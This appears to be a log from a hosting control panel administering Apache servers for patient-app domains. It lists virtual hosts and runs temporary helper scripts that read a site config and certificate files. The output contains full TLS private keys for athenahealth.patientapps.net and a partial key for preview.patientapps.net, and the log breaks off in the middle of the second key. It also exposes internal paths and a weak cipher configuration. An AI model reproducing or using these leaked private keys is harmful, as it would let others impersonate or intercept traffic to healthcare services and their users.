         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:02:52: 

PUT: /tmp/pkp828655

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:52: 

chmod 755 /tmp/pkp828655; /tmp/pkp828655; rm /tmp/pkp828655

2025-08-30 06:02:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf	1744

<VirtualHost *:80>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	athenahealth.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/athenahealth_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/athenahealth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2025-08-30 06:02:52: 

PUT: /tmp/pkp399688

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:02:52: 

chmod 755 /tmp/pkp399688; /tmp/pkp399688; rm /tmp/pkp399688

2025-08-30 06:02:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	5382
be:8b:dd:39:ee:74:fe:7d:c8:f0:50:73:c9:76:b4:8a

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBt76Dv+h39GoNJsKOX80RrpdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDIwWhcNMjUxMTI4MDUwNDE5WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAnZIZUtypx6N1QZGQ3ftlA3ukU3Qb9TeXi3WVNRb4P+Jp
hZm7U7vzWt+TGVqc+FKJfMqfIN1gGC7k+VlrlTtW2A53jr4PazMsvKPIMcqoGdDZ
m12h6e5upxqTVcVbMrHrKgUCgZY/Joj3QLM3foxVWPVjpUWW8qeygGuuQLxGH5mX
DOavsr6qO4tx+taEdYDUwx6vflJuvDND/SmxqltgOuX1QIkGqYawln2PUzLd5kST
27r4ifNegCzM8ZIc53p7NaTuTZKjLBUCp5BhBk9Y1X+habz0ybO/+SzCCOYNx3L1
eqvSWherjR41ImjK5ltjhBLOo1aMluTG9Lhpq4o7fQIDAQABo4ICKzCCAicwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQQc2bA6mGGYiIJZgU3RnvPbAGZXDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NC5jcmwwggED
BgorBgEEAdZ5AgQCBIH0BIHxAO8AdQDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2Xjbap
flTA/kwNsAAAAZj5kktJAAAEAwBGMEQCIAmQZY6HaSzEvjQtq9NI+EMD+XT7xxTr
MqDBVkZ5GHRiAiAgQUvjto9B4sqpmqm0qgQwPrQ5v1TW/eS+GLV8RarVVwB2AO08
S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmPmSS1EAAAQDAEcwRQIh
ALY2BRsBG4zY6bJX4rpM5lWcb9CTt6oxg5FKeNNwBLHtAiAEkSO4rcsVSt3TBk/l
4JKCBkV08ASXB/jAHqXVN7q4ITANBgkqhkiG9w0BAQsFAAOCAQEApRdFYDM2D+CF
WArXfgH+/dEvLqfxDminq2TWU5m2Fi+tyOS9tiER0p/WV4VcJgcTFtphH9vFdw/g
XZ23FneiPlsixgG3Fg9hbwWkSyEL/qyrfUD/rMwLuWpRERBNoMU8UZFQcTZ955w8
/jW+yUltpvlRGwnmd2VA3fH/JINpPdKaHh0rOukcHnvEDfPtc9geVEVkmJ+284a+
b+7qHJDoaBLxdhPeYUu33MQxzpvAha1SdJywRD4IB48H1X4rv6Cabld0ta/rWfCv
lFIxNwPzZ+AyeHR1Xw3tffuSb7Ct4AJvgyUrODClIePxE1+COqxafa6Gbo2NvvQs
p0Qjbx4ldA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCdkhlS3KnHo3VB
kZDd+2UDe6RTdBv1N5eLdZU1Fvg/4mmFmbtTu/Na35MZWpz4Uol8yp8g3WAYLuT5
WWuVO1bYDneOvg9rMyy8o8gxyqgZ0NmbXaHp7m6nGpNVxVsysesqBQKBlj8miPdA
szd+jFVY9WOlRZbyp7KAa65AvEYfmZcM5q+yvqo7i3H61oR1gNTDHq9+Um68M0P9
KbGqW2A65fVAiQaphrCWfY9TMt3mRJPbuviJ816ALMzxkhznens1pO5NkqMsFQKn
kGEGT1jVf6FpvPTJs7/5LMII5g3HcvV6q9JaF6uNHjUiaMrmW2OEEs6jVoyW5Mb0
uGmrijt9AgMBAAECggEAK05oH1n+X5wRMgAr7JaXYKmutDEJLhAlWnLqmzjA6e30
Sn/B+HWDoMopx6Ib2jP1DZMywPmW246n59AnvVAdwivXuCeMXU4nUYFCGE02fkHk
TMsjIQQi7VJkhAJF2l0D4PyXf74nhRPHwMSA0AsJufVXeajyn6ZvbNQrhCc6rpw9
ZSMlK3F3TODuB9kVPK6cIAwBa8ZtcaFXNzMpEnjG5OgCQDKE3E59LJg7XQ7XX6f3
Q1BSSAYyjNpDpOwAcj9GRb6wBtDUg9o3eLvwwoBVytjWhxm/3U7kx2tV4NhZ/7qa
hsyB6eBCB1fHjYjGE+YyLbcVSxdNvq10GVmd6ncAkQKBgQDRSprhdNaXNd13uxFn
RR/EDLi5e5Ut2E1bQZT+UPfB5L63mSU/iKpik7n0gDcBv9Gu/1vOyg5eNmMAMHt8
3s8iqCQkdtUSr4L/L3/hBJa+v8ybbJb3iV4zNOk/aj1n3XeO//3+DaYVYXZrzqOX
C5LNAo1hhsdlPk4qmXDvr0IGowKBgQDAvIvmmBdy9A1yIwQW6QiJbR2RnW7WsRcv
2Hv3bvda1JsAXZYTcGeDAkoO1rRkYvKYv2I12puR5amAW6vW64I8OfmvcEhnbjSA
1yCua1WtT+CZLUwYGS52rPQDnLG0LrTQ8PFbrwye39jr37uZqkknwvBR9nXmZOEo
6MHF/nx3XwKBgHKGVpZEryBzU0svTGisRKOtKnAlFg7OLBZhnrxDZi/tkgc5gE5x
5Hqox7rpZjBI3N7b0Uso+g/HxwjVft1ntwUJ6S0i8ZmV/SLSxTFGp46ducLa+wld
W/S9YV1YL13krIXNwxkAMv/EI17+5jnDFYOlf+P8MqROIcvhxxEBYCntAoGBAKER
sNTfy9DsdgQpkTRYQSMgBjL333YZ/uekQk1Q9fR5cqPGkjHioQ7SLfPiqFSwgE74
uemJrLMrvBCiC6SLooYUaT6dVlThu4zku9Inry0scOVx/oKxIKxa833FSJjs430t
rnbRfnmTVqQgkJXlwkcxWUcV8ge9zJE0myOM/pV/AoGBAIxkj4+JfZc3/QECIxmd
Yqr/rsNKbuAmBe7YAdltZoLnsMv7zaNhMjnaJ/cPDAi+ysvwbKUZFPBinl7HsWH+
Tj7yHEl1X+pIHyhMjs0UYky8j3pP2B7X55BNOU6AcT4x/3ayIxN2yps+1Iq82zqP
QSujZhsebJuqwO8dky0BJo94
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:02:52: Establishing a connection
2025-08-30 06:02:53: Establishing a connection
2025-08-30 06:02:53: 

PUT: /tmp/pkp732703

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:02:53: 

chmod 755 /tmp/pkp732703; /tmp/pkp732703; rm /tmp/pkp732703

2025-08-30 06:02:53: 


0


2025-08-30 06:03:19: Establishing a connection
2025-08-30 06:03:19: 

PUT: /tmp/pkp653529

#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt

cat > $temp_file <<'endmsg'
b2:05:81:c4:b0:b3:68:74:04:74:6b:b4:c4:3d:c2:68

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBm1vnHpHvWSUyeUb2L9nq79bMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDQ4WhcNMjUxMTI4MDUwNDQ3WjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMs2PPsQ6EputIqXpEFrZ1skRGjHZT5jKIYz7LAOsgJ0psa6pL5n
3iaiBMcy9ebDq52AgQTpSvEY0tbBvB2ZGw3t2a/B6GDCtasXDKRSAXqjH2hRVy98
hgnQh38m29RhBlJ6lWphBj0TVs179jV3Ax3Chi9nqBxRT8Gy9HLJzOiWY8oH1h8y
SSAzu8XHPJ0hfYYLn8wuNB6n1E5DVgXf/6uv7EFhvluxx1jkwaaNdj8PRkM74s8H
2w1oqa23/Y94givQ/3fdtMSfJHPk4AW9penzNwKsibmbfeK0L4/gFLIAvEMoqbpi
4ehFKnoLWHjLBQ1TAEWBPIDQOo9llu8UG/0CAwEAAaOCAicwggIjMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUCqfm+4nIdVpCELXT6IPfauWrguMwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzkyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mPmSt+4AAAQDAEcwRQIgB1Ha8JEtHMmDoIj/w9JZ4KHTHcz4PZEtj2gEIn7gu/0C
IQDzLVWJZh9v8UhdSif/KnvB2kUMIaisamuRMp0bj3eSIAB2ABLxTjS9U3JMhAYZ
w48/ehP457Vih4icbTAFhOvlhiY6AAABmPmSt+wAAAQDAEcwRQIgDJ6DSnADzhxQ
pwDHM9Gkbj5h8fdgVvQwhQgFVlkgY1YCIQC6bOH/x9Y05IAggYweaIKFyJ/pcOsg
abAcX4pjcStVNjANBgkqhkiG9w0BAQsFAAOCAQEAgr/Sa0UwfN7u+HEo51H3lHmD
xuCE+wCrZAGubn+C94lA69S/KSGzSPP/JLjYogVP3b6n+FRaAPHjN16sdVTCFHAm
Be2rS8pzqv9fJkF51cl7Hpinqmelo0+B3kVRwmY9Ton3pvdS291lWQ8XHSLul2cj
QGvwgdjCarAA4wc0g82+i3piUgbHksleApL0ZkiUkJX74Abv2jCe9eyhBI4LnWn1
Bzd5qRFJaXF4ZbRHWvRhsRnc+zL27br4PPb0cG7FtBqY6G4/TRaBwjLDaKsZcMdK
Xhv2TKCOdW9A751KWwhULuFBnG+SU4EN6OtanheNIK1kDGpavHm4HXQUYZLIJQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLNjz7EOhKbrSK
l6RBa2dbJERox2U+YyiGM+ywDrICdKbGuqS+Z94mogTHMvXmw6udgIEE6UrxGNLW
wbwdmRsN7dmvwehgwrWrFwykUgF6ox9oUVcvfIYJ0Id/JtvUYQZSepVqYQY9E1bN
e/Y1dwMdwoYvZ6gcUU/BsvRyyczolmPKB9YfMkkgM7vFxzydIX2GC5/MLjQep9RO
Q1YF3/+rr+xBYb5bscdY5MGmjXY/D0ZDO+LPB9sNaKmtt/2PeIIr0P933bTEnyRz
5OAFvaXp8zcCrIm5m33itC+P4BSyALxDKKm6YuHoRSp6C1h4ywUNUwBFgTyA0DqP
ZZbvFBv9AgMBAAECggEALFPwiXPuuA3eJD1f/0VGjoMiyRh15V4MAPpiryUFf7Oi
jcc5GK/frd253RooueYFEZ5uhnu9dUpM87vfJTW4yRkRW12ZK0JODrxAbbfVysK6
ny7fLeSj+JAcfogje/iOQH+tCD+R9NC7Jqfb1V3YuC0uyDh8W3EBTOeUm1WZ9UI1
dKxrytx/GDqPOeyI7s2f52hONQCpeax9aIrYYODXcbg0l2IkhdNV0r7D82CjBNPb
pnftVgVpBrin77wSTkXBOnDDJy5fNvC501BjW7rlvuB+ni0OyueQjBXC3rNCSM/G
H8tiwihfS4qXixTixbEmCzpcIuTP8iav3YCZykxroQKBgQDu88v22t8jhcwiYPpm
